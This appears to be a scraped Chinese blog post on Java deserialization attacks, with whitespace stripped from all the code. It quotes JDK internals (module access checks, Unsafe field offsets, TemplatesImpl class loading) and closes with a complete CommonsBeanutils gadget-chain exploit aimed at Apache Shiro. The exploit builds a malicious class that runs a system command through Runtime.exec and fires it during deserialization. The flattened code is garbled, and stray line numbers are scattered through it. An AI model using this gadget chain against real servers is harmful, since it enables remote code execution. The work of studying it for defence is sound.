privatebooleancheckCanSetAccessible(Class<?>caller,Class<?>declaringClass,booleanthrowExceptionIfDenied){if(caller==MethodHandle.class){thrownewIllegalCallerException();// should not happen}ModulecallerModule=caller.getModule();ModuledeclaringModule=declaringClass.getModule();if(callerModule==declaringModule)returntrue;if(callerModule==Object.class.getModule())returntrue;if(!declaringModule.isNamed())returntrue;Stringpn=declaringClass.getPackageName();intmodifiers;if(thisinstanceofExecutable){modifiers=((Executable)this).getModifiers();}else{modifiers=((Field)this).getModifiers();}// class is public and package is exported to callerbooleanisClassPublic=Modifier.isPublic(declaringClass.getModifiers());if(isClassPublic&&declaringModule.isExported(pn,callerModule)){// member is publicif(Modifier.isPublic(modifiers)){returntrue;}// member is protected-staticif(Modifier.isProtected(modifiers)&&Modifier.isStatic(modifiers)&&isSubclassOf(caller,declaringClass)){returntrue;}}// package is open to callerif(declaringModule.isOpen(pn,callerModule)){returntrue;}if(throwExceptionIfDenied){// not accessibleStringmsg="Unable to make ";if(thisinstanceofField)msg+="field ";msg+=this+" accessible: "+declaringModule+" does not \"";if(isClassPublic&&Modifier.isPublic(modifiers))msg+="exports";elsemsg+="opens";msg+=" "+pn+"\" to "+callerModule;InaccessibleObjectExceptione=newInaccessibleObjectException(msg);if(printStackTraceWhenAccessFails()){e.printStackTrace(System.err);}throwe;}returnfalse;}
@ForceInlinepubliclongobjectFieldOffset(Fieldf){if(f==null){thrownewNullPointerException();}Class<?>declaringClass=f.getDeclaringClass();if(declaringClass.isHidden()){thrownewUnsupportedOperationException("can't get field offset on a hidden class: "+f);}if(declaringClass.isRecord()){thrownewUnsupportedOperationException("can't get field offset on a record class: "+f);}returntheInternalUnsafe.objectFieldOffset(f);}
@ForceInlinepubliclongstaticFieldOffset(Fieldf){if(f==null){thrownewNullPointerException();}Class<?>declaringClass=f.getDeclaringClass();if(declaringClass.isHidden()){thrownewUnsupportedOperationException("can't get field offset on a hidden class: "+f);}if(declaringClass.isRecord()){thrownewUnsupportedOperationException("can't get field offset on a record class: "+f);}returntheInternalUnsafe.staticFieldOffset(f);}
获取静态字段的内存偏移量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@ForceInlinepublicObjectstaticFieldBase(Fieldf){if(f==null){thrownewNullPointerException();}Class<?>declaringClass=f.getDeclaringClass();if(declaringClass.isHidden()){thrownewUnsupportedOperationException("can't get base address on a hidden class: "+f);}if(declaringClass.isRecord()){thrownewUnsupportedOperationException("can't get base address on a record class: "+f);}returntheInternalUnsafe.staticFieldBase(f);}
privatevoiddefineTransletClasses()throwsTransformerConfigurationException{if(_bytecodes==null){ErrorMsgerr=newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}@SuppressWarnings("removal")TransletClassLoaderloader=AccessController.doPrivileged(newPrivilegedAction<TransletClassLoader>(){publicTransletClassLoaderrun(){returnnewTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try{finalintclassCount=_bytecodes.length;_class=newClass<?>[classCount];if(classCount>1){_auxClasses=newHashMap<>();}// create a module for the transletStringmn="jdk.translet";Stringpn=_tfactory.getPackageName();assertpn!=null&&pn.length()>0;ModuleDescriptordescriptor=ModuleDescriptor.newModule(mn,Set.of(ModuleDescriptor.Modifier.SYNTHETIC)).requires("java.xml").exports(pn,Set.of("java.xml")).build();Modulem=createModule(descriptor,loader);// the module needs access to runtime classesModulethisModule=TemplatesImpl.class.getModule();// the module also needs permission to access each package// that is exported to itPermissionCollectionperms=newRuntimePermission("*").newPermissionCollection();Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p->{thisModule.addExports(p,m);perms.add(newRuntimePermission("accessClassInPackage."+p));});CodeSourcecodeSource=newCodeSource(null,(CodeSigner[])null);ProtectionDomainpd=newProtectionDomain(codeSource,perms,loader,null);// java.xml needs to instantiate the translet classthisModule.addReads(m);for(inti=0;i<classCount;i++){_class[i]=loader.defineClass(_bytecodes[i],pd);finalClass<?>superClass=_class[i].getSuperclass();// Check if this is the main classif(superClass.getName().equals(ABSTRACT_TRANSLET)){_transletIndex=i;}else{_auxClasses.put(_class[i].getName(),_class[i]);}}if(_transletIndex<0){ErrorMsgerr=newErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR,_name);thrownewTransformerConfigurationException(err.toString());}}catch(ClassFormatErrore){ErrorMsgerr=newErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR,_name);thrownewTransformerConfigurationException(err.toString(),e);}catch(LinkageErrore){ErrorMsgerr=newErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR,_name);thrownewTransformerConfigurationException(err.toString(),e);}}
finalintclassCount=_bytecodes.length;_class=newClass<?>[classCount];if(classCount>1){_auxClasses=newHashMap<>();}for(inti=0;i<classCount;i++){_class[i]=loader.defineClass(_bytecodes[i],pd);finalClass<?>superClass=_class[i].getSuperclass();// Check if this is the main classif(superClass.getName().equals(ABSTRACT_TRANSLET)){_transletIndex=i;}else{_auxClasses.put(_class[i].getName(),_class[i]);}}
packageBase.Unserialize.shiro;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.beanutils.BeanComparator;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.PriorityQueue;importjava.io.*;publicclassCB{publicstaticvoidmain(String[]args)throwsException{ClassPoolpool=ClassPool.getDefault();CtClassevilClass=pool.makeClass("Evil"+System.nanoTime());evilClass.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");byte[]evilBytes=evilClass.toBytecode();TemplatesImpltemplates=newTemplatesImpl();CtClassstubClass=pool.makeClass("Stub"+System.nanoTime());byte[]stubBytes=stubClass.toBytecode();setFieldValue(templates,"_bytecodes",newbyte[][]{evilBytes,stubBytes});setFieldValue(templates,"_name","Pwnd");setFieldValue(templates,"_transletIndex",0);finalBeanComparatorcomparator=newBeanComparator(null,String.CASE_INSENSITIVE_ORDER);finalPriorityQueue<Object>queue=newPriorityQueue<Object>(2,comparator);queue.add("1");queue.add("1");setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{templates,templates});ByteArrayOutputStreambarr=newByteArrayOutputStream();ObjectOutputStreamoos=newObjectOutputStream(barr);oos.writeObject(queue);oos.close();ByteArrayInputStreambais=newByteArrayInputStream(barr.toByteArray());ObjectInputStreamois=newObjectInputStream(bais);ois.readObject();}privatestaticvoidsetFieldValue(Objectobj,Stringfield,Objectvalue)throwsException{Fieldf=getField(obj.getClass(),field);f.setAccessible(true);f.set(obj,value);}privatestaticFieldgetField(Class<?>clazz,StringfieldName){Fieldfield=null;while(clazz!=null){try{field=clazz.getDeclaredField(fieldName);break;}catch(NoSuchFieldExceptione){clazz=clazz.getSuperclass();}}returnfield;}}